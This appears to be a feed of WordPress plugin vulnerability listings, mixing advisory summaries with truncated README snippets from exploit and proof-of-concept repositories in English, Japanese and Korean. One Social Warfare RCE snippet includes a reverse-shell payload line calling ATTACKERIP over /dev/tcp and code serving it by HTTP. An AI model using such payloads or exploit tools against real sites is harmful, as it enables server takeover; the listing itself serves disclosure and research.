WordPress PDF for Contact Form 7 plugin <= 7.1.0 - Arbitrary File Download vulnerability

Arbitrary File Download vulnerability discovered by Eunho Kim in WordPress Plugin PDF for Contact Form 7 versions = 7.1.0...

CVE-2026-17005

The Horizontal scrolling announcements WordPress plugin through 2.6 does not sanitise and escape one of its announcement settings before outputting it into an attribute context on the front end, allowing users granted access to the announcement management page Contributor and above, once permitte...

CVE-2025-2005

CVE-2025-2005 — Front-End Users Arbitrary File Upload CVE-2025-2005 WordPress Front-End Users — Unauthenticated Arbitrary File Upload 0xZ3R0 // h4ckxel 0x00 — Executive Summary Front-End Users is affected by an unauthenticated arbitrary file upload vulnerability affecting versions ≤ 3.2.32. The...

CVE-2026-82222-MassExploit

CVE-2026-82222 — GiveWP WordPressプラグインの認証不要RCE 重大な認証不要リモートコード実行（CVSS 9.8）— GiveWP ≤ 4.16.7.1 このツールは、WordPressのGiveWP プラグインにおけるCVE-2026-82222 の脆弱性を悪用します。この脆弱性により、認証されていない攻撃者 がPHPオブジェクトインジェクション（POPチェーン）のデシリアライゼーション攻撃を介して、サーバー上で任意のコマンドを実行できるようになります。 ⚠️ 脆弱性の概要 プロパティ| 値 ---|--- CVE ID| CVE-2026-82222...

WordPress User Private Files plugin < 2.2.0 - Unauthenticated Private File Disclosure vulnerability

Unauthenticated Private File Disclosure vulnerability discovered by Akshat Parikh SN1PER in WordPress Plugin User Private Files versions 2.2.0...

CVE-2026-104119 Simple Shopping Cart < 5.2.6 - Admin+ Stored XSS via PayPal API Credentials

The Simple Shopping Cart WordPress plugin before 5.2.6 does not escape some of its settings field values before outputting them on an admin settings page, allowing high-privilege users such as administrators to perform Stored Cross-Site Scripting attacks, which is notably impactful on multisite...

EUVD-2026-92071

The Horizontal scrolling announcements WordPress plugin through 2.6 does not sanitise and escape one of its announcement settings before outputting it into an attribute context on the front end, allowing users granted access to the announcement management page Contributor and above, once permitte...

WordPress Horizontal scrolling announcements plugin <= 2.6 - Contributor+ Stored XSS vulnerability

Contributor+ Stored XSS vulnerability discovered by testoun in WordPress Plugin Horizontal scrolling announcements versions = 2.6...

CVE-2025-0316-Exploit

CVE-2025-0316-Exploit CVE-2025-0316 Exploit ツールキット 🚨 WordPress プラグイン WP Directorybox Manager 🔥 CVE-2025-0316 向け自動エクスプロイトスクリプト — 脆弱な AJAX アクションを介した認証バイパス ⚠️ 法的通知 このツールは以下の目的にのみ使用されます: 研究 レッドチームシミュレーション 許可されたセキュリティ評価 同意なしにターゲットに対してこのツールを使用することは違法です。 🛠 機能 🔍 ?author= トリックによるユーザー列挙 🚪...

CVE-2026-8181-PoC

🚨 CVE-2026-8181 | Burst Statistics 認証バイパス -brightgreen.svg?style=for-the-badge !CAUTION 重大警告: この脆弱性により、認証されていないリモート攻撃者 がカスタムHTTPヘッダーを注入するだけで認証をバイパスし、対象のWordPressサイトで完全な管理者権限 を取得できます。このCVEは現在実際の環境で活発に悪用 されています。 📑 目次 1. エグゼクティブサマリー 2. 🔬 詳細分析: 根本原因解析 3. ⚔️ 攻撃プレイブック: 悪用 4. 🛡️ 防御プレイブック: 検出と緩和 5. 🛠️...

CVE-2024-1813-POC

CVE-2024-1813 - Simple Job Board ≤ 2.11.0 WordPress - 인증되지 않은 PHP 객체 주입 🎥 Proof-of-Concept 데모 엔드투엔드: 게스트가 공개 지원 양식을 통해 직렬화된 PHP 객체를 저장하고, 관리자가 지원자 목록을 열면 가젯 체인이 웹쉘을 드롭합니다. Simple Job Board WordPress 플러그인PressTigers에서 발생하는 인증되지 않은 PHP 객체 주입 취약점입니다. 게스트가 공개 지원 양식을 통해 직렬화된 PHP 객체를 저장하고, 이후 관리자가 지원자...

CVE-2025-7955

CVE-2025-7955 RingCentral Communications 1.5 - 1.6.8 - ringcentraladminlogin2faverify 함수의 서버 측 검증 누락으로 인한 인증 우회 🚨 CVE-2025-7955 | RingCentral Communications WordPress 익스플로잇 📝 취약점 개요 CVE: CVE-2025-7955 영향 받는 플러그인: RingCentral Communications WordPress 영향 받는 버전: 1.5 – 1.6.8 CVSS 점수: 9.8 치명적 유형: 인증 우...

cve-2026-7665

CVE-2026-7665 — Essential Addons for Elementor의 인증되지 않은 정보 노출 필드| 세부사항 ---|--- CVE ID| CVE-2026-7665 심각도| 중간 CVSS 점수| 5.3 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 영향받는 플러그인| Essential Addons for Elementor 영향받는 버전| ≤ 6.6.4 활성 설치 수| 1,000,000+ CVE 할당 기관| Wordfence CNA 공개일| 2026년 6월 연구자| Anirudh Makkar 요...

CVE-2026-61946-Easy-Appointments-IDOR

CVE-2026-61946: 한 약속 ID로 다른 사람의 예약으로 WordPress Easy Appointments 플러그인에서 인증되지 않은 안전하지 않은 직접 객체 참조를 발견했습니다. 공개 예약 엔드포인트가 쿼리 문자열에서 id를 받아 해당 데이터를 플러그인의 데이터베이스 replace 경로로 전달했습니다. 즉, 새로운 공개 예약 요청이 기존 약속 행의 업데이트로 변환될 수 있었습니다. 로그인, 쿠키 또는 WordPress 계정이 필요하지 않았습니다. 다른 약속의 기본 키를 제공하고 실제 열린 슬롯을 선택하면 플러그인이...

CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE

CVE-2019-9978 - Social Warfare WordPress 플러그인 RCE 이 저장소는 WordPress용 Social Warfare 플러그인버전 system"bash -c \"bash -i & /dev/tcp/ATTACKERIP/LISTENPORT 0&1\""' with openPAYLOADFILE, "w" as f: f.writepayload printf"+ Payload written to PAYLOADFILE" def starthttpserver: """Serve payload over HTTP"""...

CVE-2026-3844

CVE-2026-3844 CVE-2026-3844 の PoC エクスプロイト。WordPress の Breeze プラグインにおける、RCE につながる重大な未認証ファイルアップロード脆弱性です。 📌 概要 CVE-2026-3844 は、Breeze Cache WordPress プラグイン （Cloudways 製）における重大（CRITICAL）な未認証の任意ファイルアップロード脆弱性であり、バージョン 2.4.4 までの全バージョン に影響します。 このリポジトリは、許可されたセキュリテ...

CVE-2024-10924-Wordpress-Docker

CVE-2024-10924 : Wordpress Really Simple Security의 Docker 인증 우회 결함 설명 WordPress용 Really Simple Security 플러그인Free, Pro 및 Pro Multisite 버전 9.0.09.1.1.1은 인증 우회 취약점의 영향을 받습니다. 이 문제는 2단계 인증 REST API 작업에 사용되는 checkloginandgetuser 함수의 부적절한 오류 처리로 인해 발생합니다. 결과적으로, "Two-Factor Authentication"2단계 인증 기능이 활성...

wpstorecart-exploit

Simple PoC of wpstorecart 2.5.30 以前のプラグインのエクスプロイト CVE-2012-3576 を bash で記述したもの。...

CVE-2024-5084-Red-Team

🚀 HashForm Exploit – Lab Demo 이 저장소는 Hash Form WordPress 플러그인에서 발견된 취약점인 CVE-2024-5084에 대한 개념 증명 익스플로잇을 포함하고 있습니다. 오직 학습, 실험실 테스트 및 보안 연구 목적으로만 사용됩니다. 📌 취약점 정보 CVE ID: CVE-2024-5084 문제: 인증되지 않은 파일 업로드 → 원격 코드 실행 플러그인: Hash Form – Drag & Drop Form Builder ≤ 1.1.0 영향: 공격자가 악성 파일을 업로드하고 시스템 명령을 실행할 ...

CVE-2025-6254

CVE-2025-6254 — Doctreat Core = 1.6.8 — 역할 주입을 통한 인증되지 않은 권한 상승 🔥 취약점 요약 WordPress 플러그인 Doctreat Core 버전 = 1.6.8에는 인증되지 않은 권한 상승 취약점이 존재합니다. 이 치명적인 결함으로 인해 인증되지 않은 공격자 가 플러그인의 등록 AJAX 엔드포인트를 통해 직접 새로운 관리자Administrator 계정을 생성할 수 있습니다. 이 취약점은 hooks/hooks.php 파일의 doctreatprocessregistration 함수에서 비롯되...